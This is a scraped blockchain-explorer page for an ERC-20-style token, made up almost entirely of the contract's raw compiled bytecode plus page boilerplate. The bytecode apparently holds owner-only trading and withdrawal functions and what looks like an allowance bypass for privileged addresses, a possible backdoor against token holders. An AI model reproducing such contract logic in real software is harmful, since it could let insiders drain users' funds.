80156102cf575f80fd5b5061013d610a9d565b3480156102e3575f80fd5b506101c3600d5481565b3480156102f8575f80fd5b505f546040516001600160a01b039091168152602001610176565b34801561031e575f80fd5b506101c3600e5481565b348015610333575f80fd5b5060408051808201909152600681526508aa890a48ab60d31b6020820152610169565b348015610361575f80fd5b5061019e61037036600461163e565b610af6565b348015610380575f80fd5b506101c3600f5481565b348015610395575f80fd5b506101c36103a43660046116c1565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146104005760405162461bcd60e51b81526004016103f7906116f8565b60405180910390fd5b601354600160a01b900460ff161561045a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f7565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104aa573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ce919061172d565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561052d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610551919061172d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561059b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105bf919061172d565b601280546001600160a01b0319166001600160a01b03928316179055601154610604913091166105f16009600a61183c565b6105ff90633b9aca0061184a565b610b02565b6011546001600160a01b031663f305d7194730610635816001600160a01b03165f9081526001602052604090205490565b5f806106485f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106ae573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106d39190611861565b50506013805462ff00ff60a01b19166201000160a01b17905550565b5f6106fb338484610b02565b5060015b92915050565b5f6107126009600a61183c565b61072090633b9aca0061184a565b905090565b6013546001600160a01b0316336001600160a01b0316146107745760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b60448201526064016103f7565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f546001600160a01b031633146107d65760405162461bcd60e51b81526004016103f7906116f8565b5f47116107e1575f80fd5b60405133904780156108fc02915f818181858888f1935050505015801561080a573d5f803e3d5ffd5b50565b5f610819848484610c25565b335f9081526003602052604090205460ff1661087b5761087b84336105ff856040518060600160405280602881526020016119a5602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111ea565b5060019392505050565b5f546001600160a01b031633146108ae5760405162461bcd60e51b81526004016103f7906116f8565b6108ba6009600a61183c565b6108c890633b9aca0061184a565b600d556108d76009600a61183c565b6108e590633b9aca0061184a565b600e55600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61094b6009600a61183c565b61095990633b9aca0061184a565b60405190815260200160405180910390a150565b5f546001600160a01b031633146109965760405162461bcd60e51b81526004016103f7906116f8565b6040516370a0823160e01b81523060048201525f90610a1790606490610a119085906001600160a01b038816906370a0823190602401602060405180830381865afa1580156109e7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a0b919061188c565b90611222565b906112a7565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610a73573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9791906118a3565b50505050565b5f546001600160a01b03163314610ac65760405162461bcd60e51b81526004016103f7906116f8565b610ad26009600a61183c565b610ae090633b9aca0061184a565b600d5414610aec575f80fd5b610af46112e8565b565b5f6106fb338484610c25565b6001600160a01b038316610b645760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f7565b6001600160a01b038216610bc55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c895760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f7565b6001600160a01b038216610ceb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f7565b5f8111610d4c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f7565b5f80546001600160a01b03858116911614801590610d7757505f546001600160a01b03848116911614155b156110ad576012546001600160a01b038581169116148015610da757506011546001600160a01b03848116911614155b8015610dcb57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f2a57601354600160a01b900460ff16610e215760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016103f7565b610e476064610a11600954600c5411610e3c57600554610e40565b6007545b8590611222565b9050600d54821115610e9b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103f7565b600e5482610ebd856001600160a01b03165f9081526001602052604090205490565b610ec791906118c2565b1115610f155760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f7565b600c8054905f610f24836118d5565b91905055505b6012546001600160a01b03848116911614801590610f6057506001600160a01b0383165f9081526003602052604090205460ff16155b15610fdf57600e5482610f87856001600160a01b03165f9081526001602052604090205490565b610f9191906118c2565b1115610fdf5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f7565b6012546001600160a01b039081169084160361101d5761101a6064610a11600a54600c541161101057600654610e40565b6008548590611222565b90505b601354600160a81b900460ff1615801561104457506012546001600160a01b038481169116145b80156110595750601354600160b01b900460ff165b80156110685750600b54600c54115b156110ad57305f90815260016020526040902054600f548111156110a3576110a361109e8461109984601054611359565b611359565b61136d565b6110ab6114dd565b505b801561112557305f908152600160205260409020546110cc9082611513565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061111c9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111479083611571565b6001600160a01b0385165f9081526001602052604090205561118a61116c8383611571565b6001600160a01b0385165f9081526001602052604090205490611513565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111d38585611571565b60405190815260200160405180910390a350505050565b5f818484111561120d5760405162461bcd60e51b81526004016103f791906115de565b505f61121984866118ed565b95945050505050565b5f825f0361123157505f6106ff565b5f61123c838561184a565b9050826112498583611900565b146112a05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f7565b9392505050565b5f6112a083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115b2565b5f546001600160a01b031633146113115760405162461bcd60e51b81526004016103f7906116f8565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f81831161136757826112a0565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113b3576113b361191f565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561140a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061142e919061172d565b816001815181106114415761144161191f565b6001600160a01b0392831660209182029290920101526011546114679130911684610b02565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061149f9085905f90869030904290600401611933565b5f604051808303815f87803b1580156114b6575f80fd5b505af11580156114c8573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561080a573d5f803e3d5ffd5b5f8061151f83856118c2565b9050838110156112a05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f7565b5f6112a083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ea565b5f81836115d25760405162461bcd60e51b81526004016103f791906115de565b505f6112198486611900565b5f602080835283518060208501525f5b8181101561160a578581018301518582016040015282016115ee565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461080a575f80fd5b5f806040838503121561164f575f80fd5b823561165a8161162a565b946020939093013593505050565b5f60208284031215611678575f80fd5b81356112a08161162a565b5f805f60608486031215611695575f80fd5b83356116a08161162a565b925060208401356116b08161162a565b929592945050506040919091013590565b5f80604083850312156116d2575f80fd5b82356116dd8161162a565b915060208301356116ed8161162a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561173d575f80fd5b81516112a08161162a565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561179657815f190482111561177c5761177c611748565b8085161561178957918102915b93841c9390800290611761565b509250929050565b5f826117ac575060016106ff565b816117b857505f6106ff565b81600181146117ce57600281146117d8576117f4565b60019150506106ff565b60ff8411156117e9576117e9611748565b50506001821b6106ff565b5060208310610133831016604e8410600b8410161715611817575081810a6106ff565b611821838361175c565b805f190482111561183457611834611748565b029392505050565b5f6112a060ff84168361179e565b80820281158282048414176106ff576106ff611748565b5f805f60608486031215611873575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561189c575f80fd5b5051919050565b5f602082840312156118b3575f80fd5b815180151581146112a0575f80fd5b808201808211156106ff576106ff611748565b5f600182016118e6576118e6611748565b5060010190565b818103818111156106ff576106ff611748565b5f8261191a57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119835784516001600160a01b03168352938301939183019160010161195e565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bfa44db281fe259e76cdcea19ba8db941081ef8c6d98b2fd295899ab52ab01da64736f6c63430008180033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.